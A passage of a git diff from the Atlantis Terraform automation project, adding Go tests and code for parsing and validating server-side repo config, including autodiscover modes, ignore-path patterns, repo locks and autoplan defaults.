+ workflow: notdefined`, + expErr: "workflow \"notdefined\" is not defined", + }, + "invalid allowed_override": { + input: `repos: +- id: /.*/ + allowed_overrides: [invalid]`, + expErr: "repos: (0: (allowed_overrides: \"invalid\" is not a valid override, only \"plan_requirements\", \"apply_requirements\", \"import_requirements\", \"workflow\", \"delete_source_branch_on_merge\", \"repo_locking\", \"repo_locks\", \"policy_check\", \"custom_policy_check\", and \"silence_pr_comments\" are supported.).).", + }, + "invalid plan_requirement": { + input: `repos: +- id: /.*/ + plan_requirements: [invalid]`, + expErr: "repos: (0: (plan_requirements: \"invalid\" is not a valid plan_requirement, only \"approved\", \"mergeable\" and \"undiverged\" are supported.).).", + }, + "invalid apply_requirement": { + input: `repos: +- id: /.*/ + apply_requirements: [invalid]`, + expErr: "repos: (0: (apply_requirements: \"invalid\" is not a valid apply_requirement, only \"approved\", \"mergeable\" and \"undiverged\" are supported.).).", + }, + "invalid import_requirement": { + input: `repos: +- id: /.*/ + import_requirements: [invalid]`, + expErr: "repos: (0: (import_requirements: \"invalid\" is not a valid import_requirement, only \"approved\", \"mergeable\" and \"undiverged\" are supported.).).", + }, + "invalid silence_pr_comments": { + input: `repos: +- id: /.*/ + silence_pr_comments: [invalid]`, + expErr: "server-side repo config 'silence_pr_comments' key value of 'invalid' is not supported, supported values are [plan, apply]", + }, + "disable autodiscover": { + input: `repos: +- id: /.*/ + autodiscover: + mode: disabled`, + exp: valid.GlobalCfg{ + Repos: []valid.Repo{ + defaultCfg.Repos[0], + { + IDRegex: regexp.MustCompile(".*"), + AutoDiscover: &valid.AutoDiscover{Mode: valid.AutoDiscoverDisabledMode}, + }, + }, + Workflows: defaultCfg.Workflows, + TeamAuthz: valid.TeamAuthz{ + Args: make([]string, 0), + }, + }, + }, + "disable repo locks": { + input: `repos: +- id: /.*/ + repo_locks: + mode: disabled`, + exp: valid.GlobalCfg{ + Repos: []valid.Repo{ + defaultCfg.Repos[0], + { + IDRegex: regexp.MustCompile(".*"), + RepoLocks: &valid.RepoLocks{Mode: valid.RepoLocksDisabledMode}, + }, + }, + Workflows: defaultCfg.Workflows, + TeamAuthz: valid.TeamAuthz{ + Args: make([]string, 0), + }, + }, + }, + "no workflows key": { + input: `repos: []`, + exp: defaultCfg, + }, + "workflows empty": { + input: `workflows:`, + exp: defaultCfg, + }, + "workflow name but the rest is empty": { + input: ` +workflows: + name:`, + exp: valid.GlobalCfg{ + Repos: defaultCfg.Repos, + Workflows: map[string]valid.Workflow{ + "default": defaultCfg.Workflows["default"], + "name": defaultWorkflow("name"), + }, + TeamAuthz: valid.TeamAuthz{ + Args: make([]string, 0), + }, + }, + }, + "workflow stages empty": { + input: ` +workflows: + name: + apply: + plan: + policy_check: + import: + state_rm: +`, + exp: valid.GlobalCfg{ + Repos: defaultCfg.Repos, + Workflows: map[string]valid.Workflow{ + "default": defaultCfg.Workflows["default"], + "name": defaultWorkflow("name"), + }, + TeamAuthz: valid.TeamAuthz{ + Args: make([]string, 0), + }, + }, + }, + "workflow steps empty": { + input: ` +workflows: + name: + apply: + steps: + plan: + steps: + policy_check: + steps: + import: + steps: + state_rm: + steps: +`, + exp: valid.GlobalCfg{ + Repos: defaultCfg.Repos, + Workflows: map[string]valid.Workflow{ + "default": defaultCfg.Workflows["default"], + "name": defaultWorkflow("name"), + }, + TeamAuthz: valid.TeamAuthz{ + Args: make([]string, 0), + }, + }, + }, + "all keys specified": { + input: ` +repos: +- id: github.com/owner/repo + repo_config_file: "path/to/atlantis.yaml" + apply_requirements: [approved, mergeable] + pre_workflow_hooks: + - run: custom workflow command + workflow: custom1 + post_workflow_hooks: + - run: custom workflow command + allowed_overrides: [plan_requirements, apply_requirements, import_requirements, workflow, delete_source_branch_on_merge] + allow_custom_workflows: true + policy_check: true + autodiscover: + mode: enabled + repo_locks: + mode: on_apply +- id: /.*/ + branch: /(master|main)/ + pre_workflow_hooks: + - run: custom workflow command + post_workflow_hooks: + - run: custom workflow command + policy_check: false + autodiscover: + mode: disabled + repo_locks: + mode: disabled +workflows: + custom1: + plan: + steps: + - run: custom command + - init: + extra_args: [extra, args] + - plan + policy_check: + steps: + - run: custom command + - plan: + extra_args: [extra, args] + - policy_check + apply: + steps: + - run: custom command + - apply + import: + steps: + - run: custom command + - import + state_rm: + steps: + - run: custom command + - state_rm +policies: + conftest_version: v1.0.0 + policy_sets: + - name: good-policy + path: rel/path/to/policy + source: local +`, + exp: valid.GlobalCfg{ + Repos: []valid.Repo{ + defaultCfg.Repos[0], + { + ID: "github.com/owner/repo", + RepoConfigFile: "path/to/atlantis.yaml", + ApplyRequirements: []string{"approved", "mergeable"}, + PreWorkflowHooks: preWorkflowHooks, + Workflow: &customWorkflow1, + PostWorkflowHooks: postWorkflowHooks, + AllowedOverrides: []string{"plan_requirements", "apply_requirements", "import_requirements", "workflow", "delete_source_branch_on_merge"}, + AllowCustomWorkflows: Bool(true), + PolicyCheck: Bool(true), + AutoDiscover: &valid.AutoDiscover{Mode: valid.AutoDiscoverEnabledMode}, + RepoLocks: &valid.RepoLocks{Mode: valid.RepoLocksOnApplyMode}, + }, + { + IDRegex: regexp.MustCompile(".*"), + BranchRegex: regexp.MustCompile("(master|main)"), + PreWorkflowHooks: preWorkflowHooks, + PostWorkflowHooks: postWorkflowHooks, + PolicyCheck: Bool(false), + AutoDiscover: &valid.AutoDiscover{Mode: valid.AutoDiscoverDisabledMode}, + RepoLocks: &valid.RepoLocks{Mode: valid.RepoLocksDisabledMode}, + }, + }, + Workflows: map[string]valid.Workflow{ + "default": defaultCfg.Workflows["default"], + "custom1": customWorkflow1, + }, + PolicySets: valid.PolicySets{ + Version: conftestVersion, + ApproveCount: 1, + PolicySets: []valid.PolicySet{ + { + Name: "good-policy", + Path: "rel/path/to/policy", + Source: valid.LocalPolicySet, + ApproveCount: 1, + }, + }, + }, + TeamAuthz: valid.TeamAuthz{ + Args: make([]string, 0), + }, + }, + }, + "id regex with trailing slash": { + input: ` +repos: +- id: /github.com// +`, + exp: valid.GlobalCfg{ + Repos: []valid.Repo{ + defaultCfg.Repos[0], + { + IDRegex: regexp.MustCompile("github.com/"), + }, + }, + Workflows: map[string]valid.Workflow{ + "default": defaultCfg.Workflows["default"], + }, + TeamAuthz: valid.TeamAuthz{ + Args: make([]string, 0), + }, + }, + }, + "referencing default workflow": { + input: ` +repos: +- id: github.com/owner/repo + workflow: default +`, + exp: valid.GlobalCfg{ + Repos: []valid.Repo{ + defaultCfg.Repos[0], + { + ID: "github.com/owner/repo", + Workflow: defaultCfg.Repos[0].Workflow, + }, + }, + Workflows: map[string]valid.Workflow{ + "default": defaultCfg.Workflows["default"], + }, + TeamAuthz: valid.TeamAuthz{ + Args: make([]string, 0), + }, + }, + }, + "redefine default workflow": { + input: ` +workflows: + default: + plan: + steps: + - run: custom + policy_check: + steps: [] + apply: + steps: [] + import: + steps: [] + state_rm: + steps: [] +`, + exp: valid.GlobalCfg{ + Repos: []valid.Repo{ + { + IDRegex: regexp.MustCompile(".*"), + BranchRegex: regexp.MustCompile(".*"), + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + Workflow: &valid.Workflow{ + Name: "default", + Apply: valid.Stage{ + Steps: nil, + }, + PolicyCheck: valid.Stage{ + Steps: nil, + }, + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "custom", + }, + }, + }, + Import: valid.Stage{ + Steps: nil, + }, + StateRm: valid.Stage{ + Steps: nil, + }, + }, + AllowedWorkflows: []string{}, + AllowedOverrides: []string{}, + AllowCustomWorkflows: Bool(false), + DeleteSourceBranchOnMerge: Bool(false), + RepoLocks: &valid.DefaultRepoLocks, + PolicyCheck: Bool(false), + CustomPolicyCheck: Bool(false), + AutoDiscover: raw.DefaultAutoDiscover(), + }, + }, + Workflows: map[string]valid.Workflow{ + "default": { + Name: "default", + Apply: valid.Stage{ + Steps: nil, + }, + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "custom", + }, + }, + }, + }, + }, + TeamAuthz: valid.TeamAuthz{ + Args: make([]string, 0), + }, + }, + }, + } + + for name, c := range cases { + t.Run(name, func(t *testing.T) { + r := config.ParserValidator{} + tmp := t.TempDir() + path := filepath.Join(tmp, "conf.yaml") + Ok(t, os.WriteFile(path, []byte(c.input), 0600)) + + globalCfgArgs := valid.GlobalCfgArgs{ + PolicyCheckEnabled: false, + } + + act, err := r.ParseGlobalCfg(path, valid.NewGlobalCfgFromArgs(globalCfgArgs)) + + if c.expErr != "" { + expErr := strings.Replace(c.expErr, "", path, -1) + ErrEquals(t, expErr, err) + return + } + Ok(t, err) + + if !act.PolicySets.HasPolicies() { + c.exp.PolicySets = act.PolicySets + } + + Equals(t, c.exp, act) + // Have to hand-compare regexes because Equals doesn't do it. + for i, actRepo := range act.Repos { + expRepo := c.exp.Repos[i] + if expRepo.IDRegex != nil { + Assert(t, expRepo.IDRegex.String() == actRepo.IDRegex.String(), + "%q != %q for repos[%d]", expRepo.IDRegex.String(), actRepo.IDRegex.String(), i) + } + if expRepo.BranchRegex != nil { + Assert(t, expRepo.BranchRegex.String() == actRepo.BranchRegex.String(), + "%q != %q for repos[%d]", expRepo.BranchRegex.String(), actRepo.BranchRegex.String(), i) + } + } + }) + } +} + +// Test that if we pass in JSON strings everything should parse fine. +func TestParserValidator_ParseGlobalCfgJSON(t *testing.T) { + customWorkflow := valid.Workflow{ + Name: "custom", + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "init", + }, + { + StepName: "plan", + ExtraArgs: []string{"extra", "args"}, + }, + { + StepName: "run", + RunCommand: "custom plan", + }, + }, + }, + PolicyCheck: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "plan", + }, + { + StepName: "run", + RunCommand: "custom policy_check", + }, + }, + }, + Apply: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "my custom command", + }, + }, + }, + Import: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "custom import", + }, + }, + }, + StateRm: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "custom state_rm", + }, + }, + }, + } + + conftestVersion, _ := version.NewVersion("v1.0.0") + + cases := map[string]struct { + json string + exp valid.GlobalCfg + expErr string + }{ + "empty string": { + json: "", + expErr: "unexpected end of JSON input", + }, + "empty object": { + json: "{}", + exp: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{}), + }, + "setting all keys": { + json: ` +{ + "repos": [ + { + "id": "/.*/", + "workflow": "custom", + "allowed_workflows": ["custom"], + "apply_requirements": ["mergeable", "approved"], + "allowed_overrides": ["workflow", "apply_requirements"], + "allow_custom_workflows": true, + "autodiscover": { + "mode": "enabled" + }, + "repo_locks": { + "mode": "on_apply" + } + }, + { + "id": "github.com/owner/repo" + } + ], + "workflows": { + "custom": { + "plan": { + "steps": [ + "init", + {"plan": {"extra_args": ["extra", "args"]}}, + {"run": "custom plan"} + ] + }, + "policy_check": { + "steps": [ + "plan", + {"run": "custom policy_check"} + ] + }, + "apply": { + "steps": [ + {"run": "my custom command"} + ] + }, + "import": { + "steps": [ + {"run": "custom import"} + ] + }, + "state_rm": { + "steps": [ + {"run": "custom state_rm"} + ] + } + } + }, + "policies": { + "conftest_version": "v1.0.0", + "policy_sets": [ + { + "name": "good-policy", + "source": "local", + "path": "rel/path/to/policy" + } + ] + } +} +`, + exp: valid.GlobalCfg{ + Repos: []valid.Repo{ + valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{}).Repos[0], + { + IDRegex: regexp.MustCompile(".*"), + ApplyRequirements: []string{"mergeable", "approved"}, + Workflow: &customWorkflow, + AllowedWorkflows: []string{"custom"}, + AllowedOverrides: []string{"workflow", "apply_requirements"}, + AllowCustomWorkflows: Bool(true), + AutoDiscover: &valid.AutoDiscover{Mode: valid.AutoDiscoverEnabledMode}, + RepoLocks: &valid.RepoLocks{Mode: valid.RepoLocksOnApplyMode}, + }, + { + ID: "github.com/owner/repo", + IDRegex: nil, + ApplyRequirements: nil, + AllowedOverrides: nil, + AllowCustomWorkflows: nil, + AutoDiscover: nil, + RepoLocks: nil, + }, + }, + Workflows: map[string]valid.Workflow{ + "default": valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{}).Workflows["default"], + "custom": customWorkflow, + }, + PolicySets: valid.PolicySets{ + Version: conftestVersion, + ApproveCount: 1, + PolicySets: []valid.PolicySet{ + { + Name: "good-policy", + Path: "rel/path/to/policy", + Source: valid.LocalPolicySet, + ApproveCount: 1, + }, + }, + }, + TeamAuthz: valid.TeamAuthz{ + Args: make([]string, 0), + }, + }, + }, + } + for name, c := range cases { + t.Run(name, func(t *testing.T) { + pv := &config.ParserValidator{} + globalCfgArgs := valid.GlobalCfgArgs{} + cfg, err := pv.ParseGlobalCfgJSON(c.json, valid.NewGlobalCfgFromArgs(globalCfgArgs)) + if c.expErr != "" { + ErrEquals(t, c.expErr, err) + return + } + Ok(t, err) + + if !cfg.PolicySets.HasPolicies() { + c.exp.PolicySets = cfg.PolicySets + } + + Equals(t, c.exp, cfg) + }) + } +} + +// Test legacy shell parsing vs v3 parsing. +func TestParseRepoCfg_V2ShellParsing(t *testing.T) { + cases := []struct { + in string + expV2 string + expV2Err string + }{ + { + in: "echo a b", + expV2: "echo a b", + }, + { + in: "echo 'a b'", + expV2: "echo a b", + }, + { + in: "echo 'a b", + expV2Err: "unable to parse \"echo 'a b\": EOF found when expecting closing quote", + }, + { + in: `mkdir a/b/c || printf \'your main.tf file does not provide default region.\\ncheck\'`, + expV2: `mkdir a/b/c || printf 'your main.tf file does not provide default region.\ncheck'`, + }, + } + + for _, c := range cases { + t.Run(c.in, func(t *testing.T) { + v2Dir := t.TempDir() + v3Dir := t.TempDir() + v2Path := filepath.Join(v2Dir, "atlantis.yaml") + v3Path := filepath.Join(v3Dir, "atlantis.yaml") + cfg := fmt.Sprintf(`workflows: + custom: + plan: + steps: + - run: %s + apply: + steps: + - run: %s`, c.in, c.in) + Ok(t, os.WriteFile(v2Path, []byte("version: 2\n"+cfg), 0600)) + Ok(t, os.WriteFile(v3Path, []byte("version: 3\n"+cfg), 0600)) + + p := &config.ParserValidator{} + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + } + v2Cfg, err := p.ParseRepoCfg(v2Dir, valid.NewGlobalCfgFromArgs(globalCfgArgs), "", "") + if c.expV2Err != "" { + ErrEquals(t, c.expV2Err, err) + } else { + Ok(t, err) + Equals(t, c.expV2, v2Cfg.Workflows["custom"].Plan.Steps[0].RunCommand) + Equals(t, c.expV2, v2Cfg.Workflows["custom"].Apply.Steps[0].RunCommand) + } + globalCfgArgs = valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + } + v3Cfg, err := p.ParseRepoCfg(v3Dir, valid.NewGlobalCfgFromArgs(globalCfgArgs), "", "") + Ok(t, err) + Equals(t, c.in, v3Cfg.Workflows["custom"].Plan.Steps[0].RunCommand) + Equals(t, c.in, v3Cfg.Workflows["custom"].Apply.Steps[0].RunCommand) + }) + } +} + +// String is a helper routine that allocates a new string value +// to store v and returns a pointer to it. +func String(v string) *string { return &v } + +// Bool is a helper routine that allocates a new bool value +// to store v and returns a pointer to it. +func Bool(v bool) *bool { return &v } + +func defaultWorkflow(name string) valid.Workflow { + return valid.Workflow{ + Name: name, + Apply: valid.DefaultApplyStage, + Plan: valid.DefaultPlanStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + Import: valid.DefaultImportStage, + StateRm: valid.DefaultStateRmStage, + } +} diff --git a/server/core/config/raw/autodiscover.go b/server/core/config/raw/autodiscover.go new file mode 100644 index 0000000000..fdf18fbec4 --- /dev/null +++ b/server/core/config/raw/autodiscover.go @@ -0,0 +1,69 @@ +package raw + +import ( + "errors" + "fmt" + "strings" + + "github.com/bmatcuk/doublestar/v4" + validation "github.com/go-ozzo/ozzo-validation" + "github.com/runatlantis/atlantis/server/core/config/valid" +) + +var DefaultAutoDiscoverMode = valid.AutoDiscoverAutoMode + +type AutoDiscover struct { + Mode *valid.AutoDiscoverMode `yaml:"mode,omitempty"` + IgnorePaths []string `yaml:"ignore_paths,omitempty"` +} + +func (a AutoDiscover) ToValid() *valid.AutoDiscover { + var v valid.AutoDiscover + + if a.Mode != nil { + v.Mode = *a.Mode + } else { + v.Mode = DefaultAutoDiscoverMode + } + + v.IgnorePaths = a.IgnorePaths + + return &v +} + +func (a AutoDiscover) Validate() error { + + ignoreValid := func(value interface{}) error { + strSlice := value.([]string) + if strSlice == nil { + return nil + } + for _, ignore := range strSlice { + // A beginning slash isn't necessary since they are specifying a relative path, not an absolute one. + // Rejecting `/...` also allows us to potentially use `/.*/` as regexes in the future + if strings.HasPrefix(ignore, "/") { + return errors.New("pattern must not begin with a slash '/'") + } + + if !doublestar.ValidatePattern(ignore) { + return fmt.Errorf("invalid pattern: %s", ignore) + } + + } + return nil + } + + res := validation.ValidateStruct(&a, + // If a.Mode is nil, this should still pass validation. + validation.Field(&a.Mode, validation.In(valid.AutoDiscoverAutoMode, valid.AutoDiscoverDisabledMode, valid.AutoDiscoverEnabledMode)), + validation.Field(&a.IgnorePaths, validation.By(ignoreValid)), + ) + return res +} + +func DefaultAutoDiscover() *valid.AutoDiscover { + return &valid.AutoDiscover{ + Mode: DefaultAutoDiscoverMode, + IgnorePaths: nil, + } +} diff --git a/server/core/config/raw/autodiscover_test.go b/server/core/config/raw/autodiscover_test.go new file mode 100644 index 0000000000..a1b45c77ee --- /dev/null +++ b/server/core/config/raw/autodiscover_test.go @@ -0,0 +1,204 @@ +package raw_test + +import ( + "testing" + + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + . "github.com/runatlantis/atlantis/testing" +) + +func TestAutoDiscover_UnmarshalYAML(t *testing.T) { + autoDiscoverEnabled := valid.AutoDiscoverEnabledMode + cases := []struct { + description string + input string + exp raw.AutoDiscover + }{ + { + description: "omit unset fields", + input: "", + exp: raw.AutoDiscover{ + Mode: nil, + IgnorePaths: nil, + }, + }, + { + description: "all fields set", + input: ` +mode: enabled +ignore_paths: + - foobar +`, + exp: raw.AutoDiscover{ + Mode: &autoDiscoverEnabled, + IgnorePaths: []string{"foobar"}, + }, + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + var a raw.AutoDiscover + err := unmarshalString(c.input, &a) + Ok(t, err) + Equals(t, c.exp, a) + }) + } +} + +func TestAutoDiscover_Validate(t *testing.T) { + autoDiscoverAuto := valid.AutoDiscoverAutoMode + autoDiscoverEnabled := valid.AutoDiscoverEnabledMode + autoDiscoverDisabled := valid.AutoDiscoverDisabledMode + randomString := valid.AutoDiscoverMode("random_string") + cases := []struct { + description string + input raw.AutoDiscover + errContains *string + }{ + { + description: "nothing set", + input: raw.AutoDiscover{}, + errContains: nil, + }, + { + description: "mode set to auto", + input: raw.AutoDiscover{ + Mode: &autoDiscoverAuto, + }, + errContains: nil, + }, + { + description: "mode set to disabled", + input: raw.AutoDiscover{ + Mode: &autoDiscoverDisabled, + }, + errContains: nil, + }, + { + description: "mode set to enabled", + input: raw.AutoDiscover{ + Mode: &autoDiscoverEnabled, + }, + errContains: nil, + }, + { + description: "mode set to random string", + input: raw.AutoDiscover{ + Mode: &randomString, + }, + errContains: String("valid value"), + }, + { + description: "ignore set with leading slash", + input: raw.AutoDiscover{ + Mode: &autoDiscoverAuto, + IgnorePaths: []string{ + "/foo", + }, + }, + errContains: String("pattern must not begin with a slash '/'"), + }, + { + description: `ignore set to broken pattern \`, + input: raw.AutoDiscover{ + Mode: &autoDiscoverAuto, + IgnorePaths: []string{ + `\`, + }, + }, + errContains: String(`invalid pattern: \`), + }, + { + description: "ignore set to broken pattern [", + input: raw.AutoDiscover{ + Mode: &autoDiscoverAuto, + IgnorePaths: []string{ + "[", + }, + }, + errContains: String("invalid pattern: ["), + }, + { + description: "ignore set to valid pattern", + input: raw.AutoDiscover{ + Mode: &autoDiscoverAuto, + IgnorePaths: []string{ + "foo*", + }, + }, + errContains: nil, + }, + { + description: "ignore set to long pattern", + input: raw.AutoDiscover{ + Mode: &autoDiscoverAuto, + IgnorePaths: []string{ + "foo/**/bar/baz/??", + }, + }, + errContains: nil, + }, + { + description: "ignore set to one valid and one invalid pattern", + input: raw.AutoDiscover{ + Mode: &autoDiscoverAuto, + IgnorePaths: []string{ + "foo", + "foo[", + }, + }, + errContains: String("invalid pattern: foo["), + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + if c.errContains == nil { + Ok(t, c.input.Validate()) + } else { + ErrContains(t, *c.errContains, c.input.Validate()) + } + }) + } +} + +func TestAutoDiscover_ToValid(t *testing.T) { + autoDiscoverEnabled := valid.AutoDiscoverEnabledMode + cases := []struct { + description string + input raw.AutoDiscover + exp *valid.AutoDiscover + }{ + { + description: "nothing set", + input: raw.AutoDiscover{}, + exp: &valid.AutoDiscover{ + Mode: valid.AutoDiscoverAutoMode, + IgnorePaths: nil, + }, + }, + { + description: "value set", + input: raw.AutoDiscover{ + Mode: &autoDiscoverEnabled, + IgnorePaths: []string{ + "foo", + "bar/*", + }, + }, + exp: &valid.AutoDiscover{ + Mode: valid.AutoDiscoverEnabledMode, + IgnorePaths: []string{ + "foo", + "bar/*", + }, + }, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + Equals(t, c.exp, c.input.ToValid()) + }) + } +} diff --git a/server/events/yaml/raw/autoplan.go b/server/core/config/raw/autoplan.go similarity index 82% rename from server/events/yaml/raw/autoplan.go rename to server/core/config/raw/autoplan.go index 33f0b1fa1a..85f7502e4d 100644 --- a/server/events/yaml/raw/autoplan.go +++ b/server/core/config/raw/autoplan.go @@ -1,12 +1,16 @@ package raw import ( - "github.com/runatlantis/atlantis/server/events/yaml/valid" + "github.com/runatlantis/atlantis/server/core/config/valid" ) // DefaultAutoPlanWhenModified is the default element in the when_modified // list if none is defined. -var DefaultAutoPlanWhenModified = []string{"**/*.tf*", "**/terragrunt.hcl"} +var DefaultAutoPlanWhenModified = []string{ + "**/*.tf*", + "**/terragrunt.hcl", + "**/.terraform.lock.hcl", +} type Autoplan struct { WhenModified []string `yaml:"when_modified,omitempty"` diff --git a/server/events/yaml/raw/autoplan_test.go b/server/core/config/raw/autoplan_test.go similarity index 86% rename from server/events/yaml/raw/autoplan_test.go rename to server/core/config/raw/autoplan_test.go index 66744340df..48796ee894 100644 --- a/server/events/yaml/raw/autoplan_test.go +++ b/server/core/config/raw/autoplan_test.go @@ -3,10 +3,9 @@ package raw_test import ( "testing" - "github.com/runatlantis/atlantis/server/events/yaml/raw" - "github.com/runatlantis/atlantis/server/events/yaml/valid" + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" - yaml "gopkg.in/yaml.v2" ) func TestAutoPlan_UnmarshalYAML(t *testing.T) { @@ -50,7 +49,7 @@ when_modified: ["something-else"] input: ` enabled: false when_modified: -- +- "" `, exp: raw.Autoplan{ Enabled: Bool(false), @@ -62,7 +61,7 @@ when_modified: for _, c := range cases { t.Run(c.description, func(t *testing.T) { var a raw.Autoplan - err := yaml.UnmarshalStrict([]byte(c.input), &a) + err := unmarshalString(c.input, &a) Ok(t, err) Equals(t, c.exp, a) }) @@ -109,7 +108,7 @@ func TestAutoplan_ToValid(t *testing.T) { input: raw.Autoplan{}, exp: valid.Autoplan{ Enabled: true, - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, + WhenModified: raw.DefaultAutoPlanWhenModified, }, }, { @@ -129,7 +128,7 @@ func TestAutoplan_ToValid(t *testing.T) { }, exp: valid.Autoplan{ Enabled: false, - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, + WhenModified: raw.DefaultAutoPlanWhenModified, }, }, { @@ -139,7 +138,7 @@ func TestAutoplan_ToValid(t *testing.T) { }, exp: valid.Autoplan{ Enabled: true, - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, + WhenModified: raw.DefaultAutoPlanWhenModified, }, }, } diff --git a/server/core/config/raw/global_cfg.go b/server/core/config/raw/global_cfg.go new file mode 100644 index 0000000000..127e22e3cf --- /dev/null +++ b/server/core/config/raw/global_cfg.go @@ -0,0 +1,398 @@ +package raw + +import ( + "errors" + "fmt" + "regexp" + "strings" + + validation "github.com/go-ozzo/ozzo-validation" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/utils" +) + +// GlobalCfg is the raw schema for server-side repo config. +type GlobalCfg struct { + Repos []Repo `yaml:"repos" json:"repos"` + Workflows map[string]Workflow `yaml:"workflows" json:"workflows"` + PolicySets PolicySets `yaml:"policies" json:"policies"` + Metrics Metrics `yaml:"metrics" json:"metrics"` + TeamAuthz TeamAuthz `yaml:"team_authz" json:"team_authz"` +} + +// Repo is the raw schema for repos in the server-side repo config. +type Repo struct { + ID string `yaml:"id" json:"id"` + Branch string `yaml:"branch" json:"branch"` + RepoConfigFile string `yaml:"repo_config_file" json:"repo_config_file"` + PlanRequirements []string `yaml:"plan_requirements" json:"plan_requirements"` + ApplyRequirements []string `yaml:"apply_requirements" json:"apply_requirements"` + ImportRequirements []string `yaml:"import_requirements" json:"import_requirements"` + PreWorkflowHooks []WorkflowHook `yaml:"pre_workflow_hooks" json:"pre_workflow_hooks"` + Workflow *string `yaml:"workflow,omitempty" json:"workflow,omitempty"` + PostWorkflowHooks []WorkflowHook `yaml:"post_workflow_hooks" json:"post_workflow_hooks"` + AllowedWorkflows []string `yaml:"allowed_workflows,omitempty" json:"allowed_workflows,omitempty"` + AllowedOverrides []string `yaml:"allowed_overrides" json:"allowed_overrides"` + AllowCustomWorkflows *bool `yaml:"allow_custom_workflows,omitempty" json:"allow_custom_workflows,omitempty"` + DeleteSourceBranchOnMerge *bool `yaml:"delete_source_branch_on_merge,omitempty" json:"delete_source_branch_on_merge,omitempty"` + RepoLocking *bool `yaml:"repo_locking,omitempty" json:"repo_locking,omitempty"` + RepoLocks *RepoLocks `yaml:"repo_locks,omitempty" json:"repo_locks,omitempty"` + PolicyCheck *bool `yaml:"policy_check,omitempty" json:"policy_check,omitempty"` + CustomPolicyCheck *bool `yaml:"custom_policy_check,omitempty" json:"custom_policy_check,omitempty"` + AutoDiscover *AutoDiscover `yaml:"autodiscover,omitempty" json:"autodiscover,omitempty"` + SilencePRComments []string `yaml:"silence_pr_comments,omitempty" json:"silence_pr_comments,omitempty"` +} + +func (g GlobalCfg) Validate() error { + err := validation.ValidateStruct(&g, + validation.Field(&g.Repos), + validation.Field(&g.Workflows), + validation.Field(&g.Metrics), + ) + if err != nil { + return err + } + + // Check that all workflows referenced by repos are actually defined. + for _, repo := range g.Repos { + if repo.Workflow == nil { + continue + } + name := *repo.Workflow + if name == valid.DefaultWorkflowName { + // The 'default' workflow will always be defined. + continue + } + found := false + for w := range g.Workflows { + if w == name { + found = true + break + } + } + if !found { + return fmt.Errorf("workflow %q is not defined", name) + } + } + + // Check that all allowed workflows are defined + for _, repo := range g.Repos { + if repo.AllowedWorkflows == nil { + continue + } + for _, name := range repo.AllowedWorkflows { + if name == valid.DefaultWorkflowName { + // The 'default' workflow will always be defined. + continue + } + found := false + for w := range g.Workflows { + if w == name { + found = true + break + } + } + if !found { + return fmt.Errorf("workflow %q is not defined", name) + } + } + } + + // Validate supported SilencePRComments values. + for _, repo := range g.Repos { + if repo.SilencePRComments == nil { + continue + } + for _, silenceStage := range repo.SilencePRComments { + if !utils.SlicesContains(valid.AllowedSilencePRComments, silenceStage) { + return fmt.Errorf( + "server-side repo config '%s' key value of '%s' is not supported, supported values are [%s]", + valid.SilencePRCommentsKey, + silenceStage, + strings.Join(valid.AllowedSilencePRComments, ", "), + ) + } + } + } + + return nil +} + +func (g GlobalCfg) ToValid(defaultCfg valid.GlobalCfg) valid.GlobalCfg { + workflows := make(map[string]valid.Workflow) + + // assumes: globalcfg is always initialized with one repo .* + globalPlanReqs := defaultCfg.Repos[0].PlanRequirements + applyReqs := defaultCfg.Repos[0].ApplyRequirements + var globalApplyReqs []string + for _, req := range applyReqs { + for _, nonOverridableReq := range valid.NonOverridableApplyReqs { + if req == nonOverridableReq { + globalApplyReqs = append(globalApplyReqs, req) + } + } + } + globalImportReqs := defaultCfg.Repos[0].ImportRequirements + + for k, v := range g.Workflows { + validatedWorkflow := v.ToValid(k) + workflows[k] = validatedWorkflow + if k == valid.DefaultWorkflowName { + // Handle the special case where they're redefining the default + // workflow. In this case, our default repo config references + // the "old" default workflow and so needs to be redefined. + defaultCfg.Repos[0].Workflow = &validatedWorkflow + } + } + // Merge in defaults without overriding. + for k, v := range defaultCfg.Workflows { + if _, ok := workflows[k]; !ok { + workflows[k] = v + } + } + + var repos []valid.Repo + for _, r := range g.Repos { + repos = append(repos, r.ToValid(workflows, globalPlanReqs, globalApplyReqs, globalImportReqs)) + } + repos = append(defaultCfg.Repos, repos...) + + return valid.GlobalCfg{ + Repos: repos, + Workflows: workflows, + PolicySets: g.PolicySets.ToValid(), + Metrics: g.Metrics.ToValid(), + TeamAuthz: g.TeamAuthz.ToValid(), + } +} + +// HasRegexID returns true if r is configured with a regex id instead of an +// exact match id. +func (r Repo) HasRegexID() bool { + return strings.HasPrefix(r.ID, "/") && strings.HasSuffix(r.ID, "/") +} + +// HasRegexBranch returns true if a branch regex was set. +func (r Repo) HasRegexBranch() bool { + return strings.HasPrefix(r.Branch, "/") && strings.HasSuffix(r.Branch, "/") +} + +func (r Repo) Validate() error { + idValid := func(value interface{}) error { + id := value.(string) + if !r.HasRegexID() { + return nil + } + _, err := regexp.Compile(id[1 : 